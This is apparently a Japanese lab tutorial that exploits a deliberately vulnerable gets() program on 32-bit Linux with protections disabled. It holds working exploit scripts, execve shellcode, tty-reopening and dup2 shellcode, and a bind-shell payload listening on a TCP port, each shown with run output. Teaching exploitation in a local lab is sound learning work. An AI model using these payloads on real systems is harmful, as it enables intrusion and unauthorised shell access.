スタックバッファオーバーフローによる標準入力からのシェル起動

一つ前のエントリでは、コマンドライン引数からデータを送り込みスタックバッファオーバーフローを起こした。 標準入力からデータを送り込むときも基本的には同じようにすればよいが、標準入力が端末ではなくなるため、シェルの起動には一工夫が必要になる。 ここでは、次の4通りの方法で標準入力からのシェル起動をやってみる。

  • catコマンドを利用する
  • 標準入出力を端末に差し替えるシェルコマンドを送り込む
  • 標準入出力を開き直すシェルコードを使う
  • bind shellを使う

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

ここでは、gets関数でスタックバッファオーバーフローが起こるコードを書いてみる。 バッファサイズは300とする。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[300] = {};  /* set all bytes to zero */
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
}

ASLR、SSPDEPを無効にした状態でコンパイルし、スタックバッファオーバーフローが起こせることを確認する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector -z execstack bof.c

$ python -c "print 'A'*300" | ./a.out
buf = 0xbffff694
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ python -c "print 'A'*316" | ./a.out
buf = 0xbffff694
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

300文字より長い文字列を送り込んだとき、セグメンテーション違反で落ちていることが確認できる。

エクスプロイトコードを書いてみる

単純にexecve(2)のみを呼び出すシェルコードを使い、標準入力からデータを送り込むエクスプロイトコードを書いてみる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.wait()

ここでは、デバッグ用に送り込むデータをbufという名前のファイルに書き出すようにした。

しかし、これを実行してもシェルは起動しない。

$ python exploit.py 300 0xcccccccc
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xcc\xcc\xcc\xcc\n'

$ python exploit.py 300 0xbffff684
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
id
[CTRL+D]
Traceback (most recent call last):
  File "exploit.py", line 23, in <module>
    p.wait()
  File "/usr/lib/python2.7/subprocess.py", line 1291, in wait
    pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0)
  File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call
    return func(*args)
KeyboardInterrupt

書き出したbufを使い、gdbで走らせてみる。 このとき、スタック上のバッファが置かれるアドレスが変わるため、一度ファイルを作り直す必要がある。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run < buf
Starting program: /home/user/tmp/a.out < buf
buf = 0xbffff674
(snip)

Program received signal SIGSEGV, Segmentation fault.
0xbffff7b0 in ?? ()
(gdb) quit
A debugging session is active.

        Inferior 1 [process 5749] will be killed.

Quit anyway? (y or n) y

$ python exploit.py 300 0xbffff674
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt\xf6\xff\xbf\n'

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) run < buf
Starting program: /home/user/tmp/a.out < buf
buf = 0xbffff674
(snip)
process 5763 is executing new program: /bin/dash
[Inferior 1 (process 5763) exited normally]
(gdb) quit

これを見ると、シェルは一度起動しているがすぐに正常終了していることがわかる。 これは、標準入力から読み取れる文字が残っていないためであり、概ね下のように起動したときと同じことが起こっている。

$ /bin/sh </dev/null

この場合、シェルはすぐに正常終了してしまう。

catコマンドを利用してみる

コマンドラインで書き出したbufを出力した後、catコマンドで端末からの入力を受け付けるようにしておくことで、シェルを起動させておくことができる。

$ python exploit.py 300 0xbffff684
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
[CTRL+C]
Traceback (most recent call last):
  File "exploit.py", line 23, in <module>
    p.wait()
  File "/usr/lib/python2.7/subprocess.py", line 1291, in wait
    pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0)
  File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call
    return func(*args)
KeyboardInterrupt

$ (cat buf; cat) | ./a.out
buf = 0xbffff694
[ENTER]
(snip)
[ENTER]
Segmentation fault (core dumped)

$ python exploit.py 300 0xbffff694
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x94\xf6\xff\xbf\n'

$ (cat buf; cat) | ./a.out
buf = 0xbffff694
[ENTER]
(snip)
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

ここではわかりやすいように、キーボード入力も書き足してある。 最初のENTERはgets関数に行の終了を伝えており、この後puts関数が実行され、シェルが起動する。 起動したシェルから見ると標準入力は他のプロセスとのパイプであるため、標準入力が端末のときに表示されるプロンプトはここでは表示されない。 なお、自分でENTERを入力する代わりにbufの末尾に \n を追記してもよいし、echoコマンドを使ってもよい。

$ (cat buf; echo; cat) | ./a.out
buf = 0xbffff694
(snip)
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

標準入出力を端末に差し替えるシェルコマンドを送り込んでみる

シェルが起動したとき、標準入出力はエクスプロイトコード中で作られたパイプとなっている。 これを端末に差し替えることができれば、端末からシェルが操作できるようになる。 そこで、起動したシェルに対しこれを行うシェルコマンドを送り込んでみる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec 9<>/dev/tty <&9 >&9\n')
p.wait()

上のコードではexecコマンドを使い、ファイルディスクリプタ9番にて端末を開いた後、標準入出力をこれに差し替えている。 実行すると次のようになる。

$ python exploit2.py 300 0xbffff684
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

標準入出力が端末に差し替えられた結果、端末からシェルが操作できていることがわかる。

なお、このエクスプロイトコードでは標準エラー出力(ファイルディスクリプタ番号2)がすでに端末を指している。 したがって、標準入出力を直接ファイルディスクリプタ2番に差し替えてもよい。

# exploit3.py
import sys
import struct
from subprocess import Popen, PIPE

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()

実行すると、端末からシェルが操作できていることがわかる。

$ python exploit3.py 300 0xbffff684
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

標準入出力を開き直すシェルコードを使ってみる

別の方法として、一旦標準入出力を閉じ、再度端末を開いてからシェルを起動するシェルコードを作ってみる。

        /* reopen.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* close(0) */
        xor edx, edx
        xor ebx, ebx
        lea eax, [edx+6]
        int 0x80
        /* close(1) */
        inc ebx
        lea eax, [edx+6]
        int 0x80
        /* open("/dev/tty", O_RDWR) */
        lea ecx, [edx+2]
        push edx
        push 0x7974742f
        push 0x7665642f
        mov ebx, esp
        lea eax, [edx+5]
        int 0x80
        /* open("/dev/tty", O_RDWR) */
        lea eax, [edx+5]
        int 0x80
        /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80
$ gcc -nostdlib reopen.s

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 d2                   xor    edx,edx
 804809a:       31 db                   xor    ebx,ebx
 804809c:       8d 42 06                lea    eax,[edx+0x6]
 804809f:       cd 80                   int    0x80
 80480a1:       43                      inc    ebx
 80480a2:       8d 42 06                lea    eax,[edx+0x6]
 80480a5:       cd 80                   int    0x80
 80480a7:       8d 4a 02                lea    ecx,[edx+0x2]
 80480aa:       52                      push   edx
 80480ab:       68 2f 74 74 79          push   0x7974742f
 80480b0:       68 2f 64 65 76          push   0x7665642f
 80480b5:       89 e3                   mov    ebx,esp
 80480b7:       8d 42 05                lea    eax,[edx+0x5]
 80480ba:       cd 80                   int    0x80
 80480bc:       8d 42 05                lea    eax,[edx+0x5]
 80480bf:       cd 80                   int    0x80
 80480c1:       31 d2                   xor    edx,edx
 80480c3:       52                      push   edx
 80480c4:       68 2f 2f 73 68          push   0x68732f2f
 80480c9:       68 2f 62 69 6e          push   0x6e69622f
 80480ce:       89 e3                   mov    ebx,esp
 80480d0:       52                      push   edx
 80480d1:       53                      push   ebx
 80480d2:       89 e1                   mov    ecx,esp
 80480d4:       8d 42 0b                lea    eax,[edx+0xb]
 80480d7:       cd 80                   int    0x80

エクスプロイトコード中のシェルコードをこれで置き換えてみる。

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xd2\x31\xdb\x8d\x42\x06\xcd\x80\x43\x8d\x42\x06\xcd\x80\x8d\x4a\x02\x52\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x8d\x42\x05\xcd\x80\x8d\x42\x05\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit4.py
import sys
import struct
from subprocess import Popen, PIPE

#shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode = "\x31\xd2\x31\xdb\x8d\x42\x06\xcd\x80\x43\x8d\x42\x06\xcd\x80\x8d\x4a\x02\x52\x68\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\x8d\x42\x05\xcd\x80\x8d\x42\x05\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
print "len(shellcode) == %d" % len(shellcode)

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.wait()

実行してみる。

$ gcc -fno-stack-protector -z execstack bof.c

$ python exploit4.py 300 0xbffff684
len(shellcode) == 65
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd21\xdb\x8dB\x06\xcd\x80C\x8dB\x06\xcd\x80\x8dJ\x02Rh/ttyh/dev\x89\xe3\x8dB\x05\xcd\x80\x8dB\x05\xcd\x801\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

シェルが起動し、端末からの入力を受け付けるようになっていることが確認できる。 また、このシェルコードの長さは65バイトである。

あるいは、dup2(2)を使って標準エラー出力のファイルディスクリプタを標準入出力に複製してもよい。

        /* dup_stderr.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* dup2(2, 0) */
        xor edx, edx
        xor ecx, ecx
        lea ebx, [edx+2]
        lea eax, [edx+63]
        int 0x80
        /* dup2(2, 1) */
        inc ecx
        lea eax, [edx+63]
        int 0x80
        /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80
$ gcc -nostdlib dup_stderr.s

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xd2\x31\xc9\x8d\x5a\x02\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

このシェルコードの長さは42バイトである。

bind shellを使ってみる

特定のTCPポートでの入出力を標準入出力として、シェルを起動する方法もある。 このようにして起動するシェルは、bind shellなどと呼ばれる。

C言語でbind shellを立ち上げるコードを書くと、次のようになる。

/* bindtcp.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main()
{
    int s, c;
    struct sockaddr_in addr;

    int port = 0xcccc;
    char *argv[] = {"/bin/sh", NULL};

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 0);

    c = accept(s, NULL, NULL);
    dup2(c, 0);
    dup2(c, 1);
    dup2(c, 2);

    execve(argv[0], argv, NULL);
}

このコードはポート番号 0xcccc (=52428) で接続を待ち受ける。 そして、acceptで受け付けたソケットのファイルディスクリプタを、dup2(2)を使って標準入力、標準出力、標準エラー出力すべてに複製する。

コンパイルして実行し、ncコマンドで接続してみる。

$ gcc -static bindtcp.c

$ ./a.out &
[1] 6307

$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:52428           0.0.0.0:*               LISTEN      6307/a.out

$ nc localhost 52428
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]
[1]+  Done                    ./a.out

正しくシェルを起動できていることが確認できる。

別のエントリで説明したようにgdbでこの実行ファイルを動かし、レジスタの状態を調べながらアセンブリコードを書くと次のようになる。

        /* bindtcp.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* s = socket(AF_INET, SOCK_STREAM, 0) */
        xor edx, edx
        xor ebx, ebx
        inc ebx  /* ebx == 1 */
        push edx
        push ebx
        push 0x2
        mov ecx, esp
        lea eax, [edx+102]
        int 0x80
        mov esi, eax
        /* bind(s, addr, sizeof(addr)) */
        inc ebx  /* ebx == 2 */
        push edx
        pushw 0xcccc
        push bx
        mov ecx, esp
        push 0x10
        push ecx
        push esi
        mov ecx, esp
        lea eax, [edx+102]
        int 0x80
        /* listen(s, 0) */
        inc ebx
        inc ebx  /* ebx == 4 */
        push edx
        push edx
        push esi
        mov ecx, esp
        lea eax, [edx+102]
        int 0x80
        /* c = accept(s, NULL, NULL) */
        inc ebx  /* ebx == 5, reuse ecx */
        lea eax, [edx+102]
        int 0x80
        mov ebx, eax
        /* dup2(c, 2); dup2(c, 1); dup2(c, 0) */
        lea ecx, [edx+2]
dup:
        lea eax, [edx+63]
        int 0x80
        dec ecx
        jns dup
        /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80

アセンブルして挙動を確認してみる。

$ gcc -nostdlib bindtcp.s

$ ./a.out &
[1] 7037

$ nc localhost 52428
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]
[1]+  Done                    ./a.out

正しく動いていることが確認できたので、機械語列を表示してみる。

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 d2                   xor    edx,edx
 804809a:       31 db                   xor    ebx,ebx
 804809c:       43                      inc    ebx
 804809d:       52                      push   edx
 804809e:       53                      push   ebx
 804809f:       6a 02                   push   0x2
 80480a1:       89 e1                   mov    ecx,esp
 80480a3:       8d 42 66                lea    eax,[edx+0x66]
 80480a6:       cd 80                   int    0x80
 80480a8:       89 c6                   mov    esi,eax
 80480aa:       43                      inc    ebx
 80480ab:       52                      push   edx
 80480ac:       66 68 cc cc             pushw  0xcccc
 80480b0:       66 53                   push   bx
 80480b2:       89 e1                   mov    ecx,esp
 80480b4:       6a 10                   push   0x10
 80480b6:       51                      push   ecx
 80480b7:       56                      push   esi
 80480b8:       89 e1                   mov    ecx,esp
 80480ba:       8d 42 66                lea    eax,[edx+0x66]
 80480bd:       cd 80                   int    0x80
 80480bf:       43                      inc    ebx
 80480c0:       43                      inc    ebx
 80480c1:       52                      push   edx
 80480c2:       52                      push   edx
 80480c3:       56                      push   esi
 80480c4:       89 e1                   mov    ecx,esp
 80480c6:       8d 42 66                lea    eax,[edx+0x66]
 80480c9:       cd 80                   int    0x80
 80480cb:       43                      inc    ebx
 80480cc:       8d 42 66                lea    eax,[edx+0x66]
 80480cf:       cd 80                   int    0x80
 80480d1:       89 c3                   mov    ebx,eax
 80480d3:       8d 4a 02                lea    ecx,[edx+0x2]

080480d6 <dup>:
 80480d6:       8d 42 3f                lea    eax,[edx+0x3f]
 80480d9:       cd 80                   int    0x80
 80480db:       49                      dec    ecx
 80480dc:       79 f8                   jns    80480d6 <dup>
 80480de:       31 d2                   xor    edx,edx
 80480e0:       52                      push   edx
 80480e1:       68 2f 2f 73 68          push   0x68732f2f
 80480e6:       68 2f 62 69 6e          push   0x6e69622f
 80480eb:       89 e3                   mov    ebx,esp
 80480ed:       52                      push   edx
 80480ee:       53                      push   ebx
 80480ef:       89 e1                   mov    ecx,esp
 80480f1:       8d 42 0b                lea    eax,[edx+0xb]
 80480f4:       cd 80                   int    0x80

エクスプロイトコード中のシェルコードをこれに置き換えてみる。

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\x8d\x42\x66\xcd\x80\x89\xc6\x43\x52\x66\x68\xcc\xcc\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x43\x52\x52\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x8d\x42\x66\xcd\x80\x89\xc3\x8d\x4a\x02\x8d\x42\x3f\xcd\x80\x49\x79\xf8\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit5.py
import sys
import struct
from subprocess import Popen, PIPE

#shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode = "\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\x8d\x42\x66\xcd\x80\x89\xc6\x43\x52\x66\x68\xcc\xcc\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x43\x52\x52\x56\x89\xe1\x8d\x42\x66\xcd\x80\x43\x8d\x42\x66\xcd\x80\x89\xc3\x8d\x4a\x02\x8d\x42\x3f\xcd\x80\x49\x79\xf8\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
print "len(shellcode) == %d" % len(shellcode)

bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.wait()

nohupコマンドを使ってバックグラウンドで実行した後、ncコマンドで接続してみる。

$ gcc -fno-stack-protector -z execstack bof.c

$ nohup python exploit5.py 300 0xbffff684 &
[1] 7093
nohup: ignoring input and appending output to `nohup.out'

$ nc localhost 52428
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]
[1]+  Done                    nohup python exploit5.py 300 0xbffff684

$ cat nohup.out
len(shellcode) == 94
[+] read: 'buf = 0xbffff684\n'
[+] read: '1\xd21\xdbCRSj\x02\x89\xe1\x8dBf\xcd\x80\x89\xc6CRfh\xcc\xccfS\x89\xe1j\x10QV\x89\xe1\x8dBf\xcd\x80CCRRV\x89\xe1\x8dBf\xcd\x80C\x8dBf\xcd\x80\x89\xc3\x8dJ\x02\x8dB?\xcd\x80Iy\xf81\xd2Rh//shh/bin\x89\xe3RS\x89\xe1\x8dB\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x84\xf6\xff\xbf\n'

シェルが起動し、ソケットからの入力を受け付けていることが確認できる。 また、このシェルコードの長さは94バイトである。

関連リンク